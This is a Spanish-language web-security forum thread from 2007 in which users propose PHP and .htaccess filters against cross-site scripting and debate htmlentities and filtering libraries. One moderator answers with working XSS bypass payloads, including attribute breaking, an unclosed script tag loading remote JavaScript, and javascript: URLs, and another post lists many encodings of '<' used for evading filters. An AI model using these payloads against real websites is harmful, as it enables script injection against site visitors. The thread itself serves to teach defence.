elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 14:42  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Código PHP AntiXSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Imprimir
Autor Tema: Código PHP AntiXSS  (Leído 2213 veces)
19.5

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Código PHP AntiXSS
« en: 30 Julio 2007, 02:01 »

Buenas...
Yo creía que los ataques XSS eran bastante simples y sin mayor provecho que sacar, pero leyendo me di cuenta que estaba muy equivocado.
A partir del siguiente hilo: http://foro.elhacker.net/index.php/topic,164268.0.html me surgio una idea. Esa función es efectiva pero que pasa si a alguien se le ocurren encriptar los carácteres? Por ejemplo "<" ponerlo como %3c ya no funcionaría.
Por eso pense en una función que pudiese evitar la mayor cantidad de posibles ataques XSS, es decir, los mismo carácteres pero encriptados.

Una aclaración: El código siguiente es libre de ser mejorado. Además, se hizo pensando en que cualquiera lo pudiese entender, siendo muy básico para que a uds. se les ocurran ideas. Claramente usando funciones de PHP5 quedaría reducido...

Código:
$chr = "<>,;:'.\"\\&%()#¼¾¢";
$xss = "scripting";

for ($i=0; $i<strlen($xss); $i++)
{
for ($h=0; $h<strlen($chr); $h++)
{
if (substr($xss, $i, 1) == substr($chr, $h, 1))
{
echo "Posible XSS";
exit;
}
}
}

Uso: Cambiar la variable $xss por algo como "prob<ando" y verán el mensaje.

Sería útil a la hora de evaluar un query en un buscador por ejemplo, pero si se quiere analisar un campo referido a noticias lógicamente tendría sus inconveniencias.

A ver quien es capáz de vulnerarlo... :rolleyes:

PD1: Me gustaría leer la crítica sobre el codigo de Sirdarckcat
PD2: No puse el código en las etiquetas "php" porque me transformaba algunos carácteres de la variable $chr.

Ref.:
- http://foro.elhacker.net/index.php/topic,98324.0.html
- http://ha.ckers.org/xss.html
En línea
Crack_X
Anti-War
Colaborador

Desconectado Desconectado

Mensajes: 2.324


Peace & Love


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #1 en: 30 Julio 2007, 02:09 »

Lo que estas haciendo es verificando si uno de los caracteres en $chr esta en el string? Porque no mejor comparar con una expresion regular que no accepte esos ? Correr dos loops no es muy bonito y en especial si el mensaje son varios parrafos.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #2 en: 30 Julio 2007, 02:45 »

si, ademas es un poco lento..
Una buena opción para DETECTAR ataques de XSS, sería php-ids (php-ids.org)..
Una para permitir HTML, sin tener peligro de XSS, pueden usar html-purifier (htmlpurifier.org)..

Aun asi, para algo rapido, puedes hacer una expresion regular como bien dice crack_x
:D
Saludos!!
En línea

yeikos
Colaborador

Desconectado Desconectado

Mensajes: 1.363



Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #3 en: 30 Julio 2007, 03:39 »

Mira que os complicáis la vida creando funciones que lo único que hacen es que el proceso de carga sea más lento, o por lo menos esa es mi opinión personal...

¿Alguien me puede decir por qué no se utiliza en estos casos la función htmlentities()?

Citar
htmlentities($_GET['var'], ENT_QUOTES)

Si lo que quieren es evitar RFI, no dejen en manos de una variable el fichero a incluir, utilicen switch para inclusiones dinámicas...

Y quizás lo más importante, no cojan malos hábitos de programación escribiendo los atributos de los campos sin comillas dobles/simples.

En línea
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #4 en: 30 Julio 2007, 04:13 »

htmlentities es LA funcion de XSS jaja, pero no siempre es muy buena, porque rompe cosas que aveces no deben romperse.. (por ejemplo si vas a hacer algo mas con ese input, debes descodificarlo antes de usarse).. por eso, la mejor opción orientada a casos particulares, es hacer tu propia expresión regular, siembargo, si no tienes idea de como parchear, y solo quieres estar seguro que no te van a atacar con XSS, usa htmlentities, el doctor lo recomienda xD
En línea

born2kill

Desconectado Desconectado

Mensajes: 176


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #5 en: 30 Julio 2007, 06:23 »

jajja, esta muy bien el codigo....no te parece mejor un .htaccess  :xD .... Lo que se te va a hacer un mundo cargando la web  :xD

Si alguien logra vulneral esto  :D

.htaccess

Código:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING}
RewriteRule ^(.*)$ index.php [NC]
RewriteRule (,|;|<|>|'|`) /index.php [NC]

« Última modificación: 30 Julio 2007, 08:24 por born2kill » En línea

yeikos
Colaborador

Desconectado Desconectado

Mensajes: 1.363



Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #6 en: 30 Julio 2007, 10:46 »

En fin, una vez más intentáis poner soluciones a vuestros errores, ¿habéis probado a no cometerlos? Yo personalmente tan solo muestro la variable filtrada cuando tengo que imprimirla en la página web, anteriormente uso expresiones regulares para comprobar que la cadena usa caracteres permitidos...

born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...
En línea
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #7 en: 30 Julio 2007, 23:02 »

born2kill:
Código:
(\"|%22).*(\>|%3E|<|%3C).*
supongo que es para prevenir attribute splitting, como en:
Código
<?php
echo "<a href=\"{$_GET['entrada']}\">Link</a>";
?>
 
se puede saltar simplemente no cerrando el atributo
?a=" onmouseover="alert(/xss/.source)"

Código:
(\<|%3C).*script.*(\>|%3E)
se salta, igual no cerrando <script.. asi:
Código:
<script src=//sirdarckcat.net/cache_poisoning.js x

Código:
(javascript:).*(\;).*
no pones el ; al final..
Código
javascript:alert("pwned")

Código:
(,|;|<|>|'|`)
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source

Saludos!!
En línea

wizache

Desconectado Desconectado

Mensajes: 142


El que poco sabe poco vive


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #8 en: 31 Julio 2007, 02:13 »

justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos
En línea

19.5

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #9 en: 31 Julio 2007, 03:17 »

justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos

Pronto iva a publicar (desde el e-book Cross Site Scripting Attacks XSS Exploits and Defense 2007) esa función para que también la comentaran porque justamente ocupa expresiones regulares y ademas trata de tapar la mayoría de los hoyos. Aunque yo creo que sí es posible vulnerarla.

Tómense un poco de tiempo y analisen la siguiente lista.
Código:
Formas de codificar el caracter "<":

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
« Última modificación: 31 Julio 2007, 03:20 por 19.5 » En línea
born2kill

Desconectado Desconectado

Mensajes: 176


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #10 en: 31 Julio 2007, 03:37 »

born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...

Haber, estamos analizando, como parar ataques XSS, o prevenirnos de ellos, esta claro que no se deben cometer esos fallos, pero estar prevenidos no viene mal.

Mi forma de pensar?...  :xD

born2kill:
Código:
(\"|%22).*(\>|%3E|<|%3C).*
supongo que es para prevenir attribute splitting, como en:
Código
<?php
echo "<a href=\"{$_GET['entrada']}\">Link</a>";
?>
 
se puede saltar simplemente no cerrando el atributo
?a=" onmouseover="alert(/xss/.source)"

Código:
(\<|%3C).*script.*(\>|%3E)
se salta, igual no cerrando <script.. asi:
Código:
<script src=//sirdarckcat.net/cache_poisoning.js x

Código:
(javascript:).*(\;).*
no pones el ; al final..
Código
javascript:alert("pwned")

Código:
(,|;|<|>|'|`)
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source
Saludos!!

Mhh.... Me dejaste pensando, bueno evidentemente solamente podriamos para ataques básico, tengo que encontrar alguna forma de mejorarlo.



La lista que publicaste esta bien interesante.
En línea

sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #11 en: 31 Julio 2007, 03:39 »

19.5: si sabes en que contextos se pueden usar los valores "codificados" de <?
solo cuando de lado del servidor se decodifica el caracter, esos "alias" son validos.. en un vector "normal", no se pueden usar.

El filtro de quickwired esta bastante bien, detiene muchos vectores.. habria que analizarlo con tiempo, para ver si se le escapo algo :P

Saludos!!
En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 108


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #12 en: 31 Julio 2007, 03:57 »

Encriptando los tags <> => &lt;&gt;, se solventa el problema  :rolleyes:
En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #13 en: 31 Julio 2007, 04:53 »

no siempre xD, los attribute breaking, no usan los tags < y > :P

Saludos!!
En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 108


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #14 en: 31 Julio 2007, 05:15 »

Por el nombre será romper un atributo para meter otro, por ejemplo " onclick="javascript..., si es así bueno yo contaba con que ya se escapan las comillas simples y dobles, yo tengo el gpc ON y lo doy por echo siempre xD, si ese termino no tiene nada que ver con eso, me vendría de lujo una aclaración gracias!!  :D :D

Un saludo!!
En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
Páginas: [1] 2 3 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats